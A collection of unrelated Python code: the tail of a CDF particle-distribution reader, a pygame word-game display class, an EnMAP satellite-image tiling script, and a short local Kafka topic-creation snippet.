    # Check time interval type
    # Check time interval
    if tint is None:
        tint = ["1995-10-06T18:50:00.000000000", "2200-10-06T18:50:00.000000000"]
    elif isinstance(tint, (np.ndarray, list)):
        if isinstance(tint[0], np.datetime64):
            tint = datetime642iso8601(np.array(tint))
        elif isinstance(tint[0], str):
            tint = iso86012datetime64(
                np.array(tint),
            )  # to make sure it is ISO8601 ok!!
            tint = datetime642iso8601(np.array(tint))
        else:
            raise TypeError("Values must be in datetime64, or str!!")
    else:
        raise TypeError("tint must be array_like!!")

    # Extend time interval by 1s and convert time interval to epochs
    tint_org = tint.copy()
    tint = extend_tint(tint, [-1.0, 1.0])
    tint = list(datetime642iso8601(iso86012datetime64(np.array(tint))))
    tint = np.stack(list(map(cdfepoch.parse, tint)))

    with CDF(file_path) as file:
        # Get the relevant CDF file information (zVariables)
        cdf_infos = file.cdf_info()
        z_vars = cdf_infos.zVariables

        # Get the global attributes
        glob_attrs = file.globalattsget()
        glob_attrs = {**glob_attrs, **{"tmmode": tmmode, "species": specie}}

        # Get VDF zVariable attributes
        dist_attrs = file.varattsget(cdf_name)

        # Get CDF keys to Epoch, energy, azimuthal and elevation angle
        # zVariables
        dpnd_keys = [dist_attrs[f"DEPEND_{i:d}"] for i in range(4)]
        _, depend1_key, depend2_key, depend3_key = dpnd_keys

        # Get coordinates attributes
        coords_names = ["time", "phi", "theta", "energy"]
        coords_attrs = {n: file.varattsget(k) for n, k in zip(coords_names, dpnd_keys)}

        times = _get_epochs(file, cdf_name, tint)

        # If something time is None means that there is nothing interesting
        # in this file so leave!!
        if times["data"] is not None:
            times = times["data"]
        else:
            return None

        dist = file.varget(cdf_name, starttime=tint[0], endtime=tint[1])
        dist = np.transpose(dist, [0, 3, 1, 2])
        phi = file.varget(depend1_key, starttime=tint[0], endtime=tint[1])
        theta = file.varget(depend2_key)
        energy = file.varget(depend3_key, starttime=tint[0], endtime=tint[1])

        if tmmode == "brst":
            en0_name = "_".join(
                [
                    cdf_name.split("_")[0],
                    cdf_name.split("_")[1],
                    "energy0",
                    cdf_name.split("_")[-1],
                ],
            )
            en1_name = "_".join(
                [
                    cdf_name.split("_")[0],
                    cdf_name.split("_")[1],
                    "energy1",
                    cdf_name.split("_")[-1],
                ],
            )

            e_step_table_name = "_".join(
                [
                    cdf_name.split("_")[0],
                    cdf_name.split("_")[1],
                    "steptable_parity",
                    cdf_name.split("_")[-1],
                ],
            )

            step_table = file.varget(
                e_step_table_name,
                starttime=tint[0],
                endtime=tint[1],
            )

            if en0_name not in z_vars:
                if energy.ndim == 1:
                    energy0 = energy
                    energy1 = energy
                elif energy.shape[0] == 1:
                    energy0 = energy[0, :]
                    energy1 = energy[0, :]
                else:
                    energy0 = energy[1, :]
                    energy1 = energy[0, :]
            else:
                energy0 = file.varget(en0_name)
                energy1 = file.varget(en1_name)

            # Overwrite energy to make sure that energy0 and energy1
            # are used instead
            energy = np.tile(energy0, (len(step_table), 1))
            energy[step_table == 1] = np.tile(energy1, (int(np.sum(step_table)), 1))

        elif tmmode == "fast":
            phi = np.tile(phi, (len(times), 1))

            if energy.ndim == 1:
                energy0 = energy
                energy1 = energy
            elif energy.shape[0] == 1:
                energy0 = energy[0, :]
                energy1 = energy[0, :]
            else:
                energy0 = energy[1, :]
                energy1 = energy[0, :]

            step_table = np.zeros(len(times))

        else:
            raise ValueError("Invalid sampling mode!!")

        d_en_name = "_".join(
            [
                cdf_name.split("_")[0],
                cdf_name.split("_")[1],
                "energy_delta",
                cdf_name.split("_")[-1],
            ],
        )

        if d_en_name in z_vars:
            glob_attrs["delta_energy_plus"] = file.varget(
                d_en_name,
                starttime=tint[0],
                endtime=tint[1],
            )
            glob_attrs["delta_energy_minus"] = file.varget(
                d_en_name,
                starttime=tint[0],
                endtime=tint[1],
            )
        else:
            glob_attrs["delta_energy_plus"] = None
            glob_attrs["delta_energy_minus"] = None

        out = ts_skymap(
            times,
            dist,
            energy,
            phi,
            theta,
            energy0=energy0,
            energy1=energy1,
            esteptable=step_table,
            attrs=dist_attrs,
            coords_attrs=coords_attrs,
            glob_attrs=glob_attrs,
        )

    out = time_clip(out, tint_org)

    return out


import pygame

# Colors
WHITE = (255, 255, 255)
BLACK = (0, 0, 0)
NAVYBLUE = (60, 60, 100)
GREEN = (0, 255, 0)
BLUE = (0, 0, 255)

BGCOLOR = WHITE
TEXTCOLOR = BLACK

WINDOWWIDTH = 640
WINDOWHEIGHT = 640

DISPLAYSURF = pygame.display.set_mode((WINDOWWIDTH, WINDOWHEIGHT))

class Graphics:
    def __init__(self):
        #  ________
        # | LAYOUT |
        #  --------

        self.first_time = True

        # 'Current'
        self.current = {'font': 'freesansbold.ttf',
                        'size': 32,
                        'color': BLACK,
                        'x': 10,
                        'y': 20}

        # Ready Flip
        self.flip = {'font': 'freesansbold.ttf',
                     'size': 20,
                     'color': BLACK,
                     'x': 20,
                     'y': 60}

        # Tiles
        self.tile = {'font': 'freesansbold.ttf',
                     'size': 32,
                     'color': BLACK,
                     'x_0': 150,
                     'y_0': 38,
                     'x_gap': 30,
                     'y_gap': 50}

        # 'Your Words'
        self.your = {'font': 'freesansbold.ttf',
                     'size': 32,
                     'color': BLACK,
                     'x': 10,
                     'y': 100,
                     'y_gap': 50}

        # Your Words
        self.self_words = {'font': 'freesansbold.ttf',
                     'size': 32,
                     'color': BLACK,
                     'x': 10,
                     'y': self.your['y'] + self.your['y_gap'],
                     'x_gap': 150,
                     'y_gap': 50}

        # 'Opponent's Words'
        self.opp = {'font': 'freesansbold.ttf',
                    'size': 32,
                    'color': BLACK,
                    'x': 300,
                    'y': 100,
                    'y_gap': 50}

        # Opponent's Words
        self.opp_words = {'font': 'freesansbold.ttf',
                          'size': 32,
                          'color': BLACK,
                          'x': 300,
                          'y': self.opp['y'] + self.opp['y_gap'],
                          'x_gap': 150,
                          'y_gap': 50}

        self.color_taken = BLUE

        # Guess
        self.guess = {'font': 'freesansbold.ttf',
                      'size': 32,
                      'color': BLACK,
                      'x': 10,
                      'y': 500}

        # Status
        self.status = {'font': 'freesansbold.ttf',
                       'size': 20,
                       'color': BLACK,
                       'x': 10,
                       'y': 550}

        self.fontObjs = {'current': pygame.font.Font(self.current['font'], self.current['size']),
                         'tile': pygame.font.Font(self.tile['font'], self.tile['size']),
                         'your': pygame.font.Font(self.your['font'], self.your['size']),
                         'self_words': pygame.font.Font(self.self_words['font'], self.self_words['size']),
                         'guess': pygame.font.Font(self.guess['font'], self.guess['size']),
                         'status': pygame.font.Font(self.status['font'], self.status['size']),
                         'flip': pygame.font.Font(self.flip['font'], self.flip['size']),
                         'opp': pygame.font.Font(self.your['font'], self.your['size']),
                         'opp_words': pygame.font.Font(self.self_words['font'], self.self_words['size']),
                         }

        self.SurfObjs = {'current': self.fontObjs['current'].render('Current: ', True, self.current['color']),
                         'tiles_list': [],
                         'your': self.fontObjs['your'].render('Your Words: ', True, self.your['color']),
                         'self_words_list': [],
                         'opp': self.fontObjs['opp'].render('Opponent\'s Words: ', True, self.opp['color']),
                         'opp_words_list': [],
                         'guess': self.fontObjs['guess'].render('Take: ', True, self.guess['color']),
                         'status': self.fontObjs['status'].render('', True, self.status['color']),
                         'flip': self.fontObjs['flip'].render('', True, self.flip['color'])
                         }

        # Load tile images
        self.tile_dict = {}

        for letter in ['a', 'b', 'c', 'd', 'e', 'f', 'g', 'h', 'i', 'j', 'k', 'l', 'm', 'n', 'o', 'p', 'q', 'r', 's', 't', 'u', 'v', 'w', 'x', 'y', 'z']:
            self.tile_dict[letter] = pygame.image.load(letter + '.png')

    def __numwords_to_fontsize(self, numwords):
        if numwords <= 6:
            return int(self.self_words['size'] / 1.25), int(self.self_words['y_gap'] / 1.25)
        elif 6 < numwords <= 10:
            return int(self.self_words['size'] / 1.75), int(self.self_words['y_gap'] / 1.75)
        elif 10 < numwords <= 20:
            return int(self.self_words['size'] / 2), int(self.self_words['y_gap'] / 2)
        elif 20 < numwords <= 50:
            return int(self.self_words['size'] / 3), int(self.self_words['y_gap'] / 3)

    def __numtiles_to_fontsize(self, numtiles):
        if numtiles <= 10:
            return self.tile['size'], self.tile['y_gap'], self.tile['x_gap']
        elif 10 < numtiles <= 40:
            return int(self.tile['size'] / 1.5), int(self.tile['y_gap'] / 1.5), int(self.tile['x_gap'] / 1.5)
        elif 40 < numtiles <= 60:
            return int(self.tile['size'] / 2), int(self.tile['y_gap'] / 2), int(self.tile['x_gap'] / 2)
        elif 60 < numtiles <= 144:
            return int(self.tile['size'] / 4), int(self.tile['y_gap'] / 4), int(self.tile['x_gap'] / 4)

    def display_text(self, SurfaceObj, x, y):
        textRectObj = SurfaceObj.get_rect()
        textRectObj.topleft = (x, y)
        DISPLAYSURF.blit(SurfaceObj, textRectObj)
        return textRectObj

    def display_text_tiles(self, SurfaceObj, x, y):
        textRectObj = SurfaceObj.get_rect()
        textRectObj.center = (x, y)
        DISPLAYSURF.blit(SurfaceObj, textRectObj)
        return textRectObj

    def printstatus(self, game, player, graphics_to_update, guess, status, taker):

        rects_to_update = []

        if player == 0:
            self_words_list = game.player1words_list
            self_words = game.player1words
            opp_words_list = game.player2words_list
            opp_words = game.player2words
        else:
            self_words_list = game.player2words_list
            self_words = game.player2words
            opp_words_list = game.player1words_list
            opp_words = game.player1words

        # Make the surface objects (or lists of surface objects)

        size_tiles, y_gap_tile, x_gap_tile = self.__numtiles_to_fontsize(len(game.current))

        if 'flip' in graphics_to_update or 'flip_status' in graphics_to_update:
            print(f"Updating flip status to {game.flip_status}!")
            self.SurfObjs['flip'] = self.fontObjs['flip'].render(game.flip_status, True, self.flip['color'])

        if 'tiles' in graphics_to_update:
            print("UPDATING TILES")
            self.SurfObjs['tiles_list'] = []

            self.fontObjs['tile'] = pygame.font.Font(self.self_words['font'], size_tiles)

            for tile in game.current:
                self.SurfObjs['tiles_list'].append(self.fontObjs['tile'].render(tile, True, self.tile['color']))

        if 'self_words' in graphics_to_update:
            self.SurfObjs['self_words_list'] = []

            size_words, y_gap_words = self.__numwords_to_fontsize(len(self_words_list))
            self.fontObjs['self_words'] = pygame.font.Font(self.self_words['font'], size_words)

            if taker == 'self':
                print(f"BLUE; i: {game.new_word_i}")
                for i, word in enumerate(self_words_list):
                    if i == game.new_word_i:
                        print(f"FOUND BLUE")
                        self.SurfObjs['self_words_list'].append(self.fontObjs['self_words'].render(word, True, self.color_taken))
                    else:
                        self.SurfObjs['self_words_list'].append(self.fontObjs['self_words'].render(word, True, self.self_words['color']))
            else:
                print("NO BLUE")
                for word in self_words_list:
                    self.SurfObjs['self_words_list'].append(self.fontObjs['self_words'].render(word, True, self.self_words['color']))

        if 'opp_words' in graphics_to_update:
            self.SurfObjs['opp_words_list'] = []

            size_opp_words, y_gap_opp_words = self.__numwords_to_fontsize(len(opp_words_list))
            self.fontObjs['opp_words'] = pygame.font.Font(self.opp_words['font'], size_opp_words)

            if taker == 'opp':
                for i, word in enumerate(opp_words_list):
                    if i == game.new_word_i:
                        self.SurfObjs['opp_words_list'].append(self.fontObjs['opp_words'].render(word, True, self.color_taken))
                    else:
                        self.SurfObjs['opp_words_list'].append(self.fontObjs['opp_words'].render(word, True, self.opp_words['color']))
            else:
                for word in opp_words_list:
                    self.SurfObjs['opp_words_list'].append(self.fontObjs['opp_words'].render(word, True, self.opp_words['color']))

        if 'guess' in graphics_to_update:
            self.SurfObjs['guess'] = self.fontObjs['guess'].render('Take: ' + guess, True, self.guess['color'])

        if 'status' in graphics_to_update:
            print(f"UPDATING STATUS: {status}")
            self.SurfObjs['status'] = self.fontObjs['status'].render(status, True, self.status['color'])

        # Display all the surface objects created above

        DISPLAYSURF.fill(BGCOLOR)

        y_tile = self.tile['y_0']
        x_tile = self.tile['x_0']

        rect_tiles = self.display_text(self.SurfObjs['current'], self.current['x'], self.current['y'])

        for i, tile in enumerate(self.SurfObjs['tiles_list']):
            x_tile = x_tile + self.tile['x_gap']

            self.display_text_tiles(tile, x_tile, y_tile)

            if i % 20 == 19:
                y_tile = y_tile + y_gap_tile
                x_tile = self.tile['x_0']

        _ = self.display_text(self.SurfObjs['your'], self.your['x'], self.your['y'])

        x_words_local = self.self_words['x']
        y_words_local = self.self_words['y']

        rect_self_list = []

        for i, word in enumerate(self.SurfObjs['self_words_list']):

            rect_self_list.append(self.display_text(word, x_words_local, y_words_local))

            if i % 10 == 9:
                x_words_local = x_words_local + self.self_words['x_gap']
                y_words_local = self.self_words['y'] - self.self_words['y_gap']

            y_words_local = y_words_local + self.self_words['y_gap']

        rect_guess = self.display_text(self.SurfObjs['guess'], self.guess['x'], self.guess['y'])

        _ = self.display_text(self.SurfObjs['opp'], self.opp['x'], self.opp['y'])

        x_opp_words_local = self.opp_words['x']
        y_opp_words_local = self.opp_words['y']

        rect_opp_list = []

        for i, word in enumerate(self.SurfObjs['opp_words_list']):

            rect_opp_list.append(self.display_text(word, x_opp_words_local, y_opp_words_local))

            if i % 10 == 9:
                x_opp_words_local = x_opp_words_local + self.opp_words['x_gap']
                y_opp_words_local = self.opp_words['y'] - self.opp_words['y_gap']

            y_opp_words_local = y_opp_words_local + self.opp_words['y_gap']

        rect_flip = self.display_text(self.SurfObjs['flip'], self.flip['x'], self.flip['y'])

        rect_status = self.display_text(self.SurfObjs['status'], self.status['x'], self.status['y'])

        if 'flip' in graphics_to_update or 'flip_status' in graphics_to_update:
            rects_to_update.append(rect_flip)
        if 'tiles' in graphics_to_update:
            rects_to_update.append(rect_tiles)
        if 'self_words' in graphics_to_update:
            rects_to_update = rects_to_update + rect_self_list
        if 'opp_words' in graphics_to_update:
            rects_to_update = rects_to_update + rect_opp_list
        if 'guess' in graphics_to_update:
            rects_to_update.append(rect_guess)
        if 'status' in graphics_to_update:
            rects_to_update.append(rect_status)

        if self.first_time:
            pygame.display.update()
            self.first_time = False
        else:
            pygame.display.update(rects_to_update)


# Cut EnMAP L2 tiles into patches and split into train and test set

import os
import glob
import pyproj
import rasterio
from tqdm import tqdm
from rasterio.warp import Resampling

from shapely.ops import transform

TILE_SIZE = 64
UPSCALE_FACTOR_ENMAP = 1  # 3 for 10m resolution with bilinear

ENMAP_PATH = "/ds2/remote_sensing/enmap/"
OUTPUT_DIR = "/ds2/remote_sensing/enmap_worldcover_dataset_v3/train/"
TESTFILES = "/ds2/remote_sensing/enmap_worldcover_dataset/testfiles.txt"

if __name__ == "__main__":
    wgs84 = pyproj.CRS("EPSG:4326")

    l2_product_dirs = [
        x
        for x in glob.glob(os.path.join(ENMAP_PATH, "*", "*", "*", "*L2A-DT*"))
        if os.path.isdir(x)
    ]
    l2_spectral_products = [
        glob.glob(os.path.join(d, "*SPECTRAL_IMAGE.TIF"))[0] for d in l2_product_dirs
    ]
    l2_metadata = [
        glob.glob(os.path.join(d, "*METADATA.XML"))[0] for d in l2_product_dirs
    ]
    print(f"Found {len(l2_spectral_products)} EnMAP products.")

    # make sure that there are no duplicate enmap files
    filenames = [x.split("/")[-1] for x in l2_spectral_products]
    assert len(filenames) == len(set(filenames))

    with open(TESTFILES) as f:
        testfiles = [x.strip() for x in f.readlines()]

    for enmap_product in l2_spectral_products:
        filename = enmap_product.split("/")[-1].split(".TIF")[0]
        outdir = os.path.join(OUTPUT_DIR, filename)

        if filename in testfiles:
            outdir = outdir.replace("train", "test")

        if os.path.exists(outdir):
            print("Directory already exists/EnMAP file already processed")
            save = False
            continue
        else:
            os.mkdir(outdir)
            save = True

        with rasterio.open(enmap_product) as dataset:
            # resample data to target shape
            enmap_meta = dataset.meta.copy()
            enmap_meta["bounds"] = dataset.bounds
            enmap = dataset.read(
                out_shape=(
                    dataset.count,
                    int(dataset.height * UPSCALE_FACTOR_ENMAP),
                    int(dataset.width * UPSCALE_FACTOR_ENMAP),
                ),
                resampling=Resampling.bilinear,
            )

            # scale image transform
            transform = dataset.transform * dataset.transform.scale(
                (dataset.width / enmap.shape[-1]), (dataset.height / enmap.shape[-2])
            )
            enmap_meta["transform"] = transform
            enmap_meta["width"] = enmap.shape[-1]
            enmap_meta["height"] = enmap.shape[-2]

        # create tiles from uncorrupted pixels
        tiles = []
        for i in range(0, enmap.shape[1], TILE_SIZE):
            for j in range(0, enmap.shape[2], TILE_SIZE):
                if i + TILE_SIZE > enmap.shape[1] or j + TILE_SIZE > enmap.shape[2]:
                    continue

                enmap_tile = enmap[:, i : i + TILE_SIZE, j : j + TILE_SIZE]

                if (enmap_tile == enmap_meta["nodata"]).mean(axis=(1, 2)).all():
                    # all bands are nodata for every pixel
                    continue

                tiles.append(enmap_tile)

        print(f"Number of valid tiles for {enmap_product.split('/')[-1]}: {len(tiles)}")

        if save:
            for idx, tile in tqdm(enumerate(tiles), total=len(tiles)):
                with rasterio.open(
                    os.path.join(outdir, f"tile{idx}_enmap.tif"),
                    "w",
                    driver="GTiff",
                    nodata=-32768.0,
                    dtype=tile.dtype,
                    count=tile.shape[0],
                    width=tile.shape[2],
                    height=tile.shape[1],
                ) as f:
                    f.write(tile)
        else:
            print("Not saved, see above")


from kafka.admin import KafkaAdminClient, NewTopic

admin_client = KafkaAdminClient(
    bootstrap_servers="localhost:9092",
    client_id='test'
)

topic_list = []
topic_list.append(NewTopic(name="poc-topic", num_partitions=2, replication_factor=1))
admin_client.create_topics(new_topics=topic_list, validate_only=False)

# Use this to delete the topic
#admin_client.delete_topics(['poc-topic'], timeout_ms=10000)